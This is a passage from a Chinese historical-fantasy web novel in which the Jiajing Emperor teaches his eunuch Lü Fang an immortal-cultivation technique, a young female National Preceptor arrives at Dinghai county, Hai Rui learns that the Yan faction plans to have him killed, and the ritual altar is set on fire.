“一把不受控制的剑,还是大家都别用的好。俗话说十年河东转河西,莫笑穷人穿破衣…指不定哪天,我们就会跟清流一样的下场了……” 听着老爹这一番话,严世蕃沉默了下来。 “对了,”突然,严嵩又像是想到了什么,开口道:“东南的事,接下来交给汝贞去办。 卫所制的恢复,本身也是一件利国利民的好事,汝贞深晓大义,自会好好负责。 只是如今边疆之地,还缺少一个像他一样的可靠,又能掌握全局之人。” “你可有人选?” 听到这话,严世蕃回过神,点了点头,“胡宗宪来信,向我举荐了一个人,只是……”说着,他语气有些犹豫起来。 “唐顺之此人,汝贞几次来信中,都对他赞不绝口。”不等他话说完,严嵩就淡淡开口。 (注:唐顺之,历史上嘉靖三十九年四月身死,剧情需要,做了修改。) “爹,您知道?”严世蕃一愣,不过在迎上老爹投来的眼神后,干脆道:“我不是有意瞒着您,此人性格您清楚,自命清高……” 说着说着,严世蕃就来了火气。 “与那胡宗宪简直就是一个模子里抠出来的,明明吃着我们家的饭,受着我们家的恩惠,还处处摆上一副清流的做派?” “他们也不想想,如果不是我们严家一路保驾护航,他们能实现心中抱负?” “一边吃着饭,一边骂着厨子,这就是妥妥的小人,当了婊子还要立贞洁牌坊……” “住口!”眼看严世蕃越说越没边,严嵩低喝一声,“边疆是我们未来布局的关键!” “我们需要一个像汝贞那样,可以总领全局,顾全大局的人坐镇!” 严嵩语气前所未有的坚决。 “爹,我就不明白了,咱们严家又不是没人用了?下面那么多张口张着呢,鄢懋卿、罗龙文,哪个不是能干之人?” “不必多说,”然而,任凭严世蕃怎么说,严嵩直接摆手做了出了决断。 “这件事,就听我的,过些日子,我就会调唐顺之前往边疆,就这么定了。” “……你!”看着老爹这一副独裁的模样,严世蕃顿时气急,直接站起身,不忿道: “爹,你会后悔的!” 说完,愤怒的严世蕃直接摔门而出。 他是成长了不少,可在他看来,有些人是无论如何也不能用的。 那个胡宗宪,自命清高,满嘴的仁义道德,忧国忧民,完全忘了自己是谁的学生。 而那个唐顺之,从最开始被举荐到严家的时候,就各种推脱,还是老爹亲自出面才收服。 此人确实可靠,好用,才能方面,不在胡宗宪之下,可同样的臭毛病一身。 边疆未来是个什么情形?那是要跟清流杀的昏天黑地的,要被清洗多少人? 这事,胡宗宪,唐顺之这些人,会坐视不理?爹真的是老糊涂了! 严世蕃自然不会理解严嵩的苦心。 胡宗宪是能臣,浙直总督,总揽军事大权,而东南的战事,也是严嵩保命的底牌。 现在,边疆是未来大明朝的重心,严嵩自然是要再安排一个同等作用的人才行。 届时一南一北,都会是在关键时候,成为为严家遮风挡雨的靠山和最后的依仗。 这些道理,严嵩看的远,但严世蕃却还不明白,相比于严嵩,他终究是少了一些长远目光。 夜色渐深,玉熙宫内。 “吕芳。”打坐完的嘉靖睁开双眼,看着刚忙碌完的吕芳,喊了一声。 听到嘉靖声音,吕芳放下手上的活,快步来到近前,“主子有什么吩咐?” “嗯,”嘉靖抬眼,看向吕芳,淡淡道:“你可愿意随朕一同修行?踏上仙途?” “轰!” 一句平淡的话,此刻听在吕芳耳朵里,却是丝毫不下于一道惊雷炸响。 震得他脑瓜子嗡嗡的! 主子这是,这是要,带自己修仙?! 幸福来的太突然了,以至于吕芳整个人怔在了原地,竟失态到忘了回答嘉靖的问题。 “……” 第五十七章 授仙法,嘉靖的思考 “怎么?”嘉靖抬眼,看向吕芳,“不愿意?” 正在发呆的吕芳,听到这话,顿时猛的一个激灵,冷汗‘噌’的一下冒了出来。 “不,不!奴婢愿意,愿意!”吕芳生怕自己回答的慢了,主子直接不带他修仙。 “奴婢谢主子垂怜。”说话间,直接跪了下去,更是眼巴巴的看着嘉靖,满是祈求。 “嗯,”嘉靖点了点头,抬手间几页黄纸出现,“这就是修仙之法,名为‘引气诀’。” 看到这一幕,看吕芳呼吸猛地一滞。 这几页黄纸上记载的,就是真正的修仙之法! “拿去吧。”嘉靖语气平静,抬了抬手,吕芳则是赶紧跪着快速上前,双手接上。 一整个人,在拿到这几页薄薄的黄纸的瞬间,浑身都在颤抖着。 嘉靖给吕芳的,并不是《基础引气诀》的全部内容,而是他在传承阁内抄录的一份。 当然,倒不是说功法有问题,毕竟这引气诀不过是修仙世界最普遍,最大街的入门功法。 而且他也没必要,也不屑去做手脚。 原本的《基础引气诀》,其实就是一本新手修仙指南,上面记载了很多信息,比方说本命、本命物以及一些基础的符箓制法。 此外还有很多大角星修仙世界的基本常识,儒家的书院等等信息。 而他给吕芳的,只是‘引气诀’的修行功法和几张呼吸吐纳的行功观想图。 至于本命和本命物,在嘉靖看来,对于吕芳来说,至少目前没必要去想。 如果他识海内的本命,质量很高的话,他在炼气期的修炼速度也会很快。届时只等他引气入体成功后,测试一下属性即可。 因此炼气期看不看得到本命,其实都不重要,当然也不可能提前看到就是了。 一般情况下,如果想要提前看到,除非是用专门映照本命的法器,提前照看。 这种东西,别说大明了,就算是放眼大角星修仙界,也只有那些大型宗门才有。 而且还得是那种,掌门传承至少三代以上,拥有悠久岁月和底蕴的大宗派。 一般的新兴大型宗门也不可能有。 因为炼制本命映照法器这东西,不但对炼器师的技艺要求非常高,修为也必须是金丹期之上才行,还得是那种天赋型炼器师。 也因此,本命映照法器,放眼整个大角星修仙界,那也是奢侈之物了。 别看是法器,就算是一般的灵器,也没资格跟它做比较。 一些大型修仙宗派,每当家族有新生的孩子,长到一定年龄,宗门就会给他们进行统一的本命映照,从而对未来进行安排。 本命质量好的,直入自家宗派,像是本命差的,要么留在家族发展,要么就打发下去到宗派的分支宗门之中,发光发热。 虽说修仙界常说,本命差,可以通过本命物后期反哺,达到增补效果。 但本命物的打磨,也属于资源的消耗,有这资源,放在那些资质和本命都好的人身上,为他们打磨本命物,让好的更好,不香吗? 嘉靖这种,属于是情况特殊。 炼气期误打误撞的进入识海看到了本命,可不是谁都是他。 在大明仙宗的传承阁,里面有很多黑风寨之前收集的古籍,他也翻了不少,倒还真有些只言片语的记载,但最后归类为特殊情况。 因此对于吕芳来说,只管修炼就是了。 嘉靖自己现在也才是练气四层,等吕芳突破到筑基,时间怕是会更久。 “从今日起,每日吃完灵米后,盘腿打坐,照着上面的观想图,呼吸吐纳,”嘉靖说着,抬手指了指,“通过呼吸吐纳,控制灵气。” “大明没有灵气,所以你只能通过呼吸吐纳,观想的法子,引导体内的灵气。” “先将灵气引入穴窍之中,当你可以控制体内的灵气后,就说明你达到了第一步,引气的阶段,之后按照运功路线开始引气……” “如此,就算是正式的踏上了练气之路。”瞥了眼一边认真看着‘引气诀’,一边认真听讲的吕芳,嘉靖继续开口。 “修仙总共分为练气、筑基、金丹……大乘等境界,这些对于你来说太过遥远。” “你只需要知道,练气又分为九层。一二三为初期;四五六为中期;七八九为后期……” 玉熙宫内,嘉靖开讲,吕芳则是一边认真听着,一边还拿出纸笔开始记录。 见吕芳记录,嘉靖也没阻止。 大明仙朝,从无到有,自他而始,这也正是他想看到的。 “好了,暂时就这些。”讲完练气期的修炼经验和要点后,嘉靖继续开口。 “今日起,你便在玉熙宫随朕一起修行,后院是灵田,以后每隔一段时间,可入后院修行一次,在修行上很有裨益……” 虽说后院灵田的灵气,全部要用来滋养土地,但隔一段时间,进去修行一次,也是可以的,那点灵气对自己无用,但对吕芳有用。 “是,”吕芳恭敬叩首后盘腿坐在了道台边上,然后看向嘉靖,满是期待道:“主子,若是没有其他吩咐,那奴婢这就开始修炼吧?” 看着他眼神中,藏不住的急切神色,点了点头,道:“开始吧。” “是!”得到嘉靖的首肯,吕芳心头大喜,快速坐好,开始闭上眼观想了起来。 只是不时的要睁眼看一下图谱。 神情间,很是小心,浮躁,还有急切,好一会后,似乎记住了图谱,这才开始安定下来。 将一切看在眼里的嘉靖,微摇了摇头。 这还是他第一次在吕芳身上,看到这么冒失,浮躁的一面。 看着开始呼吸吐纳的吕芳,嘉靖此时,心中也是思绪起伏,眸中有思索之色浮动。 给吕芳修仙之法的决定,并不是临时起意,这个决定在他决定培育灵田时就想好了。 甚至,再往前推,那就是在给吕芳和陆炳丹药,改善二人身体的时候就决定了。 当然,等陆炳回来,也是要赐下仙法的。 他跟吕芳,二人一个主内,一個主外,朝野分工明确。 大明肯定是要朝着仙朝的方向蜕变的,而在这个过程中人手是必然的。 此外若是灵田培育成功,那就需要培育更多的灵田,吕芳和陆炳就是最佳的帮手。 他们修成了,就可以培育更多的修仙者。 之后随着灵田数量增多,掌握在自己手里的修仙者数量,自然也会越来越多。 这些人又可以用来培育灵田,灵田种植的谷物,也可以用来培养这些修仙者。 如此,形成一个良性的循环系统,直到自己手里掌握一支强大的修仙者大军。 吕芳和陆炳这样的绝对心腹,就会是自己麾下管理这些修仙者大军的最强者。 等到大明真正大面积开始普及修仙的时候,朝廷已经有了领先、镇压天下的绝对力量。 在嘉靖的设想中,未来大明仙朝的权力结构应该是个等级森严的金字塔结构。 它类似,但有别于中央集权的王朝权力结构,而是更为简单纯粹,无有制约。 最上层的自己独尊于一切。 第二层,则是吕芳和陆炳这等依附于自己的绝对心腹,负责管理下一层。 如此层层递进而下,就算大面积普及修仙,也无人可以反抗自己身为皇帝的意志。 因为从最开始之初,最上层掌握的力量和资源,相比于他们都是倍数增加的。 一些普通的民变,稍有不慎就会发展成巨大的危害,更别说日后修仙之人造反了。 凡人世界,人多力量大是铁则,但在修仙的世界,人多力量大,可就不绝对了。 十个练气期,估计都不够一个筑基期打的,正是因为他自己也修仙了,练气期一层层的进阶,他就已经感受到了境界之间的差距。 更别说更强的金丹,元婴这些。 修行越是往后,每个境界之间的差距也就越大,宛若鸿沟天堑,非数量可以填平。 而且,为了稳固自身的统治,嘉靖心中在很早之前,就生出了一个一劳永逸的想法。 当然这个想法对于现在的大明来说,还很早,还需要再想想,再深思熟虑一些。 先顾好当下,一步一个脚印,踏实稳健的走好每一步,才是最重要的。 “……” 第五十八章 海瑞拦路,请国师下车,依例行事!(求追读) 一晚上很快过去。 翌日,吕芳双眼缓缓睁开。 一双眸子满是熬夜之后的赤红之色。 眸子中有失望之色浮现,他照着嘉靖赐下的仙法,按照观想图呼吸吐纳,结果一晚上过去,却是毫无动静,这让他火热的心有些凉。 “没有灵气,心神不宁,心绪紊乱,才修行一晚上就想有结果?”这时,头顶响起嘉靖的声音,“当自己是绝世天才了吗?” 听到声音,吕芳立刻回过神,抬头朝着道台上的精舍中,闭目打坐的嘉靖看去。 “主子,奴婢愚钝,一晚上过去了,依旧没有任何动静。”吕芳有些惭愧的低下头。 “修行,讲究戒骄戒躁,”嘉靖没有睁开眼,继续闭目打坐,运转功法,嘴上却道:“你昨天晚上的状态,乃修炼之忌。” “朕开始就说了,让你服用灵米之后,趁着灵气滋养身体时观想修炼,结果你心中难以摁那的想要一试,全然忘了嘱咐。” “主子说的是,是奴婢托大了。”被嘉靖一语道破心思,吕芳面上露出惭愧之色。 这么多年伺候主子,昨晚是他头一次没用心听主子的话,没有谨慎对待。 “做饭去吧。”嘉靖也不怪他,凡人第一次修仙,能保持心如止水那才是怪事,说话间睁开双眼,挥手将灵米和灵泉放入砂锅里。 “吃完饭,趁着身体吸收灵气,再行观想修炼,若是你资质不错,或许很快就会见效……” “是。”吕芳立刻起身,将砂锅放在火炉上,开始安心熬煮了起来。 很快,主仆二人吃过早膳后,又开始各自修炼了起来。 当然嘉靖还给了吕芳一滴灵源,以此加速他的修炼速度,而第一次修炼突破,也能看出本命的成色,若是突破很快,说明本命不凡。 若是突破很慢,那就说明本命一般。 按照修仙世界的标准来算,第一次修炼,突破练气一层,本命普通之人,普遍来说慢则一个月,快则几天十几天。 不过这是在灵气充沛的修仙界,放在大明这种没有灵气,修炼全靠灵源,照嘉靖看来,用时半年时间达到练气一层,算是正常。 如果吕芳用时小于这个周期的话,说明他的本命应该也不是什么普通货色。 主仆二人在玉熙宫各自修炼,此时外界无论是严党,还是清流,都在等消息。 因为不出意外的话,今天傍晚,国师就会抵达定海县,三日后便会举行罗天大醮。 清流和严党在东南的争斗,也会从今天晚上开始,正式进入收尾结算的阶段。 …… 东南,宁波府,定海县外。 天空阴沉,稀稀疏疏的毛毛雨中,夹杂着盐粒儿般的小雪花。 一队人护送着两辆马车朝着定海县外而去。 “国师,”黄锦从自己的车上下来,跟在清风的车外,笑道:“前面就是定海县了。” “刚才探路的回来禀告,定海县的大小官员已经候着了,您也准备一下吧。” 听到黄锦的话,清风推开车窗。 看着阴沉沉的天,已经撑着伞的黄锦,又探出脑袋朝着最前方瞅了瞅,却是什么都看不到。 “呵,”黄锦见她如此,上前一步为她撑伞,不让渐大的雨势淋着她,同时轻笑道:“还早呢,看不到,不过也快了。” “嗯,”点了点头,清风收回了向前瞅的脑袋,微吸一口冰凉湿润的空气,道: “黄公公,你让探子快马前去通知定海县的官员一声,雨势渐渐大了,就不用他们见礼迎接了,去县衙再见也是一样的。” “国师体恤下官,奴婢替定海县的大小官员谢国师。”听到清风这么说,黄锦笑了笑,转过身去,抬手招来一个东厂的辑事。 “快马前去通知定海县的官员,无需迎候国师大驾,各阶官员县衙等候即可。” “是。”东厂太监应声后,骑上马大步离去。 此时,定海县城门外。 知县海瑞、主簿王用汲,以及监察御史,临时充当定海县县丞的张子明,带着县衙的其他官员等候,周围还有一些看热闹的百姓。 “十六岁的少女国师,”王用汲撑着伞,目视前方,吸了一口湿润的空气,感慨:“还是我大明朝,自开国以来的第一位女钦差。” “不论这定海县接下来的局势如何发展,这里发生的一切,都注定会被青史记一笔。” “呵!”说着,王用汲发出一声笑,张了张口,到嘴边的“荒唐”二字终是没说出来。 海瑞没有说话,只是凝视着前方。 但他胸中,却是早已有情绪酝酿其中。 只是此时,他的眼神依旧平静,让人看不出任何的情绪波动,似是隐而不发。 但若是一朝爆发,便是石破天惊。 而在海瑞另外一边站着的张子明,此时却是眉眼间有忧虑之色浮动。 同时眼角的余光,不时的看向身边的海瑞和王用汲二人。 他本以为不会来指示了,上面自会有另外的安排,一切只等国师来处理。 但就在今天早上,他收到了消息。 而对他要求只有一个,杀掉海瑞,不问过程,只要海瑞死。 收到消息的第一时间,他几乎以为自己看错了,他知道东南的事要平了,但没想到要以这种方式收场,为什么非要一个区区海瑞死? 如此之大的争斗漩涡,大势已成,死一個海瑞,活一个海瑞,又有何妨? 他想不通,为什么非揪着这样一个好官不肯放过? 但他明白,定海县接下来,不论何等巨变,等罗天大醮结束,一切都会尘归尘,土归土。 “来了!”这时王用汲的声音响起,将他的思绪拉回。 抬眼看去,只见远处一道快骑飞奔而来。 “吁!”东厂的辑事拉紧缰绳,马匹停在海瑞等人近前发出嘶鸣,东厂辑事快速道: “雨雪势大,天气湿寒,国师体恤尔等,无需多礼,吩咐各阶官员,县衙相见。”说完也不管几人,调转马头,挥鞭离去。 “看来,这位少女国师,还是个体恤下属之人,”望着远去的东厂辑事,王用汲轻叹一声,“希望她的到来,不会太麻烦……” “刚峰,雨势渐大了,驱散百姓,让大家都回去吧,我们在县衙等候也一样……” “国师钦使虽尊,但朝廷法度亦不可废。” “大明会典早有定制,凡下官迎迓钦使,皆循典章,岂可轻言更改?”然而王用汲话还没说完,海瑞的声音就跟着响起。 听到这话,王用汲顿时哑然。 他很想开口劝一劝,但想到海瑞的性格脾气,而且他都搬出大明会典了,还能劝吗? 这要是劝了,不是就违背典章了? 一旁的张子明看着身穿官服,负手而立,目视前方的海瑞,心中又是一叹。 都这个时候了,这又是何苦来哉呢。 他难道一点都察觉不到吗?我这几日给他们的暗示还不够吗?国师前来,就是平事的。 为何要平白无故的去得罪? “飒飒飒。” 雨势渐大,伴随着的还有硬邦邦,如盐粒儿一般的雪花,砸在雨伞上。 “哒哒哒。”没过多久,雨雾蒙蒙中,远处车马相继驶来,不一会就到了城门前。 “刚峰,话说婉转些,注意言辞,眼下情况不明,不易交恶…刚峰……”王用汲在海瑞踏出一步,准备拦车的时候,快速开劝。 然而海瑞已将手中的雨伞放下,肃容大踏出一步,来到车马前,拦住东厂众人。 “国师钦使,按《大明会典》典章,下官本当出迎,此乃朝廷之制,不可废也。” “请国师下车,依例行事。” “……” 第五十九章 刚峰,你投靠国师吧! 车马被海瑞拦住,顿时停了下来。 领头的东厂辑事,看到拦车的人是定海县知县,嘴上又说着大明会典,也只好停下,不过却是瞪了这个小小的七品知县一眼。 这人,真的是死板,又不开眼啊。 国师体恤官员,都说了不要他们迎接,还来拦路。 这不就是典型的给脸不要脸吗? 不,不止,其实这完全可以看做是给国师的下马威了,这不是有毛病吗? 此时,马车里的黄锦跟清风二人,自然也听到了海瑞的声音。 黄锦当先从车上下来,在东厂辑事的撑伞下,沉着脸大踏步上前,看到了海瑞。 “你就是定海县知县,”黄锦看到那一身的七品官袍,眉头一挑,道:“海瑞?” 关于海瑞的大名,他在宫里也没少听。 清流在东南的事,可以说一切的源头,就是这个海瑞,对此人他也是好奇的紧呢。 只是让他没想到,才刚到定海县,就被此人给上了一课,还搬出了大明会典。 这人做官一直都是如此吗?如此不知变通,也不怕在官场上混下去? 然而面对黄锦的询问,海瑞却是看都没有看一眼,目光始终放在另外一辆马车上。 张子明跟王用汲也在此时赶了过来。 “明受,汝贤,”张子明是从京城来的,自然是认识黄锦的,“这位是宫里,司礼监的秉笔大监,黄锦黄公公,领东厂提督职。” 一通介绍,王用汲就要拱手见礼,黄锦却是摆摆手示意不用,而是转身走向清风的马车。 此时,马车的门被推开,清风也探出了身子,边上的立刻有东厂辑事为她撑伞。 众人的目光也都朝着她汇聚而来。 一袭藏青色,朴素道袍,脑袋上的髻儿,被银色的冠箍住,上面插着一根玉簪,手上拿着一把拂尘,整个人看起来清清瘦瘦。 当然,众人的目光最多还是放在她那张,稚嫩的鹅蛋脸上。 饶是早就知道这位国师不过十六岁,但当真正看清楚模样的时候,众人还是不由在心底轻叹,太年轻了,完全就是个孩子。 虽说在大明,十六岁的女子,普遍已经到了嫁人的年纪,可这是在官场上。 她的身份又是国师,又是钦差的,十六岁真的不够看,会让人打心底的轻视。 “国师,定海县知县、县丞、主簿以及六房书吏都在了,”黄锦在清风跟前小声道: “这个定海县知县海瑞不领情,搬出了大明会典。遵循典章,国师是钦差,县衙各阶官员是要依礼迎接的,这是礼法……” 听着黄锦在耳边的念叨,清风清澈无暇的眸子,好奇的朝着海瑞看去。 她在玄圃宫时,黄锦在吕芳的授意下,教了她不少的政事,对朝廷权力架构也有了一個大概的了解,对东南的事自然也是听说了。 其中的关键人物,就是海瑞。传闻中‘海笔架’的故事,她也听黄锦说过。 说话间,二人已经行到海瑞等人跟前。 “定海县知县海瑞,见过国师钦使。”海瑞板板正正的对着清风行礼。 在他身后的主簿王用汲,县丞张子明和六房书吏也都一一行礼。 “既是典章规定,自是要遵循。”对于海瑞驳了自己的面子,清风心中没有半点想法。 山下的人,大多身不由己。 他们身处红尘中,总要做一些违心的事,说些违心的话,也必须要遵循一些规矩。 只是有的人说话办事,在规则范围内很是灵活,有的人不灵活,或者说不愿意灵活。 随心随性就好,山下的人,愿意遵循这一套是正常的,不愿意遵循的也是正常的。 一切都是为了生存嘛,嗯,她理解的。 “海知县,既已经见过,我们这便动身前往县衙吧,雨雪势大,就不要让百姓和县衙官员跟着受累了,以免风寒入体。” 清风看了看周围低声议论的百姓,又看了看身上已经湿透的海瑞几人说道。 见这个十六岁的少女国师,眼眸清澈无暇,似乎心怀良善,而且还并未怪罪海瑞驳了她的面子后,王用汲的心里暗暗松了口气。 若是对方因此而恶了他们,那无疑是件麻烦的事。 “刚峰,国师说的是,既然已经见过了,还是先回县衙吧。”说话间王用汲扯了扯海瑞的袖口,眼神示意他可以了,凡事过犹不及! 作为海瑞的好友,他们之间是有默契的,对海瑞的脾气秉性也有了解,眼里揉不得沙子。 对陛下玄修,敕封国师,私下里关起门来谈及朝政时,海瑞也是多有长吁短叹。 所以在他看来,海瑞这次逼国师城门前下车,遵循典章礼制,接受迎礼,实则属于一种变相的试探,对这位国师的试探! 这就是海瑞,说话办事,看似刚直迂腐,不近人情,但只有了解他的人才会知道,这是个做事很有章法的人,并不是只知道蛮干。 就比如这次,他们都意识到了,这次国师前来东南,很有可能就是一次上层博弈的结果。 所以他们也采取了相应的措施! 知己知彼百战百胜,所以必须要知道这位国师,是个怎样的人,才能再做打算。 “国师请!”海瑞点了点头,主动让开了路,示意清风等人先行。 正如清风所说,雨雪势大,既然该遵循的礼制已经遵循了,他也不愿多做纠缠。 一番按照典章,见礼迎接钦差之后,海瑞等人也上了一辆车架,一群人朝县衙而去。 “刚峰,这位国师,你如何看?”马车里,海瑞坐在上首位置,一左一右,坐着的则是张子明跟王用汲二人,王用汲率先开口询问。 “清风玄灵守真慧悟真人,”海瑞一边说着,一边摆了摆袖袍上的水渍,抬眼道:“与传闻中的,倒是有所不同……” 对于清风的到来,海瑞是心存不满的,只觉得陛下行事,太过荒唐,儿戏! 不过他行事向来有章法,这次城门逼迫这位国师下车,遵循典章,其实也是一次试探。 至少目前来看,这位国师似乎很单纯,没有跋扈之态,也没有传闻中的妖魅。 “这位国师,给我的感觉,尤其是那双眸子,太单纯了些,”王用汲说着,眉头深锁,“就像从未被污染过,不谙世事一样。” “上面派她来,到底是做什么的?”此时,王用汲眉头紧锁,面露忧愁之色。 “两个可能,”这时,海瑞缓声开口,“要么她真的就是个自幼修道,避世于世方外的单纯少女,机缘巧合之下,卷入朝堂。” “要么此女心机深沉,城府极深。她今日所表露的一切,都是做给我们看的。” “若真是如此,那我大明朝,危矣……” 听到这话,除了有些心不在焉,似乎心事重重的张子明外,王用汲却是心中一惊。 “刚峰,那依你看,此女属于前者还是后者?” “不好说。”海瑞摇了摇头,而后看向张子明,道:“文昭,你是不是知道了什么?” 被海瑞点名,张子明猛的回神,抬眼看去,就见王用汲和海瑞都看着他。 “我……”张子明张了张口,心中很是纠结,他不知道该不应该提醒一下海瑞,他不想对海瑞动手,因为没有必要。 定海县的事,就要结束了,一切都将尘归尘,土归土,这次是清流和严党的联合行动,面对两派的联手平事,谁能翻起风浪? 但有人非要海瑞死,在这股大势之下,死个把人,随着这次的事一起也就平了。 “刚峰,”张子明张了张口,纠结片刻后,最后终于像是下定了某种决心,脑袋抵在车厢木板上,看向海瑞,“我能叫你刚峰吗?” 听到这话,王用汲一愣,看向海瑞。 海瑞则是目光凝视着张子明,这个严党安排在他身边的监察御史。 其实,这段时日相处下来,张子明给他的感观是很不错的,身处官场,各自都有立场,只要不危害朝廷,不危害百姓就行。 因此海瑞心里对张子明是没有偏见的。 “你我三人,朝夕相处,在这定海县的漩涡中,并肩而战,本就是亲近之人……”说着,海瑞语气也无比认真,道:“自无不可!” “呵!”听到海瑞允许自己以‘刚峰’称呼他,张子明突然笑了。他没想到,得到海瑞的认同,竟是件如此值得开心的事。 也是在这一刻,让他更加坚定,并确信自己的决定,并没有错。 既然海瑞认可了他这个朋友,那么为了朋友,他决定把一切都告诉给海瑞。 很快张子明脸上的笑容收敛,面容一肃,凝视着海瑞,车厢内的气氛突然变得沉重。 王用汲张了张口,看着张子明想说什么,最后还是选择了闭嘴,只是拳头也暗暗攥紧。 “哒、哒、哒。”雨势突然大了起来,敲打在车厢顶部,发出密集的声音,也衬托的车厢里的气氛,变得越发凝重起来。 海瑞跟王用汲都意识到,张子明或许知道什么,也知道他接下来要说一些事情。 许久后,张子明却是突然说了一句让海瑞跟王用汲,都猝不及防的话。 “刚峰,你投靠国师吧!” “……” 第六十章 弃子海瑞?我心无愧,何惧他人阴谋诡计? 夜,县衙大堂。 此时窗外此时雨雪已停。 夜空也变得清朗起来,班轮明月悬挂月空,冰冷的月光撒下,多了一抹柔和。 灯火通明的大堂内,烛火跳动,换下官袍,身着一袭布衣的海瑞立于窗前。 在他身后,依旧是摆满了定海县官商勾结的案卷卷宗和定海县士绅大族兼并土地的罪证。 张子明已经不知道去了哪里,只有王用汲阴沉着脸坐在案桌边上,拳头紧攥。 “嘭!”终于,王用汲忍不了了,直接站起身,怒声道:“简直无法无天!” “难道,就没有说理的地方了不成?” “我要上书,我要告到朝廷!我就不信,他们能把这大明朝的天,给一手遮了!” 王用汲气的浑身都在发抖。 在听完张子明说,严党竟然要让海瑞死后,他几乎无法相信自己耳朵听到的。 从开始,他跟海瑞心里都清楚,定海县一案,就是清流跟严党在‘斗法’。 而他和海瑞从始至终都不过是棋子,但他们不在乎,你们斗你们的,我们只想为定海县的百姓和那些被各种手段兼并土地军户讨个公道。 如今他们不斗了,就想着平事了。 “他们,到底拿百姓,当什么!”王用汲说着,说着,顿时气急,双眸都在这一刻赤红,“想斗的时候,百姓是他们手里的棋子。” “严党可以化身正义,清流顷刻间就可以变成真正戕害大明的蠹虫!” “哈啊,如今更为荒诞了!” “清流和严党,斗的你死我活的双方,竟然罢手言和了?” “好好好,”王用汲说着,连说几个‘好’字,拳头戳在桌上,怒声道:“可是,凭什么!凭什么在这件事中,要死一个海瑞!” “为什么,非要死一个海瑞!” “他们利用你,对付徐阁老,现在又想舍弃你,让你彻底没有了依靠……” “严党,用心何其歹毒!” “会被舍弃,我早有预料,”听着王用汲的连声质问,海瑞却是语气平静的开口,道:“我是被张阁老举荐来的这定海县的。” 听到海瑞开口,王用汲也不由的抬头,朝着海瑞看了过去。 “从我在文昭手中,接过林家兼并土地罪证,并不再听来自内阁任何人明里暗里的暗示和劝阻的一刻起,就已经是背叛者了。” “那一刻,我在官场众人的眼中,就已经被打上了严党的印记。” “如今这局面,不过是与虎谋皮必遭虎噬罢了,”说着,海瑞转过身,看向王用汲,道:“意料之中的事情而已,不值一提。” 看着生死关头,却依旧洒脱的海瑞,王用汲怔了怔,继而又是一急,快步上前。 “刚峰,我知道你不怕死,可是如今既然知道了严党要对你下手,我们不得不防啊!”说话间,王用汲开始焦急的踱步。 “你得罪了徐阁老,不接受张阁老的安排,算是彻底得罪了清流,如今严党又放弃了你,同时获罪于清流和严党,这可如何是好……” 说着,王用汲猛的一怔,继而转身看向海瑞,目光灼灼,道:“刚峰,不如你就按文昭所说,投靠国师,或许这是唯一的生机!” “国师身受陛下恩宠,若是她肯保你,想必就算是严党,也要掂量掂量,若是误伤国师钦差,他们可担不起这个罪名……” 说着,王用汲又摇了摇头否定。 “也不行,国师也是严党一派的人,严党要杀伱,这個国师也不会帮你!”说着,王用汲面色铁青,怒声道:“难道真的没法子了吗?” 这一刻,他感受到了一股深深的无力。 “不对,”突然,王用汲又像是想到了什么,激动道:“严党给文昭下令对你动手,若是文昭肯把事情和盘托出,如此就有了制约!” “就算严党再怎么无法无天,也断然不敢将公然谋害朝廷官员的事情捅出去!” “严党在朝中还有清流盯着,两相制约之下,就是一线生机…我这就去找文昭!” 说着,王用汲转身就要出门去找张子明,不过他还没动身,跟着就被海瑞拦住。 “回来!”海瑞一声低喝,上前拦住王用汲的去路,看着心绪不宁的王用汲,心下一暖,人生能得此知己好友,夫复何求。 “文昭受恩于严世蕃,他是不会出卖他的,这是他的立场和忠!”海瑞说着,又道:“他告诉我这些,是将我视作好友!” “这是他对朋友的义!” “一来,他不会这么做。二来,我既认下了他这个朋友,就不会让他为难!” “可是,”王用汲一急,还想要说什么,却见海瑞抬手,肃容道:“君子坦荡荡,小人长戚戚。我心无愧,何惧他人阴谋诡计?” “我海瑞就在这里,我也不会为求自保,苟延残喘的投靠于任何人。” “我海瑞,仰不愧于天,俯不怍于人。为官,上对得起朝廷,下对得起百姓!” “我之所为,皆为公义,虽遭人嫉恨,亦无愧于心。”说着,海瑞身上爆发出一股前所未有的气势,道:“我就在定海县等着他们。” “有什么手段,尽管使来,我都接着!” 看着眼前的好友,王用汲怔怔的看着,片刻后他深吸一口气,道:“好,不愧是海刚峰!既如此,你我二人,便同去同归。” “我们就在这定海县等着,看着,看看他们能玩出什么花样来。” “看看这昭昭天日,郎朗乾坤,是不是真的有人,能一只手把大明朝的天给遮了!” 这一刻,王用汲身上,书生意气,展露无遗,就算明知道接下来要面对的是什么,他也决定,跟知己好友一起,同进同退。 士为知己者死,在这一刻得到了诠释。 “不好了,走水了!” 就在这时,院外突然传来一声大吼,海瑞跟王用汲心中一惊,对视一眼后,夺门而出。 “何处走水!”海瑞一出门,发出一声大喝,然而不等匆忙跑来的仆役禀告,王用汲率先指着东边的夜空,急呼道:“刚峰,你看!” 海瑞顺着王用汲所指的方向看去。 只见定海县东边,夜空下火光冲天,下一刻海瑞面色一变,似是想到了什么,道: “醮坛!” “……” 第六十一章 醮坛灭,惊变起,天不仁,君臣误,文昭死,海瑞怒,奏疏起! “醮坛?”王用汲一愣,有些没反应过来,这时县衙的仆役忙慌的快跑了进来。 “禀告堂尊,三老爷(县衙仆役对三把手的称呼)东边,罗天大醮的醮坛走水了!” “什么?!”王用汲一惊,终于反应过来,继而怒声斥道:“今天白天还在下那么大的雨,醮坛好端端的,怎么会走水!” 此时,他的第一反应就是严党出手了。 罗天大醮的醮坛烧了,那身为定海县知县的海瑞,他难辞其咎! 可是,严党没道理破坏醮坛啊,国师可是严党的人,难道是清流干的? 这场风争,其实严党和清流都没有罢手,真正的斗法,还在继续? “是人为!”这时,仆役语速飞快,道:“纵火的人已经被抓住了!” 人为的?人还抓住了? 王用汲一愣,被这个突然而来,像是儿戏一般的诡异消息,给打了个措手不及。 不过他反应倒也不慢,第一时间就察觉到了情况的异常,当即就开口: “定海卫的驻军呢?从醮坛建造开始,他们就负责驻守,怎么会有人放火!” 这简直是在扯淡,说白天下雨,不可能走水,好,你说人为的,那有可能…个屁! 可罗天大醮何其重要?国师亲自到来主持,要为定海县百姓祈福,定海卫驻军可以说是分了不少兵力,来守护醮坛,日夜巡逻! 结果冒出一句,人为放火?这比自然走水,听起来还要扯淡! “没,没有驻军……”然而面对愤怒的王用汲,仆役却是面色有些难看的说道。 “你说什么?!”王用汲被这个回答弄的一愣,而后下意识的朝着海瑞看去。 “定海卫的指挥使,是何人?”相比王用汲,海瑞更为冷静,突然问出声。 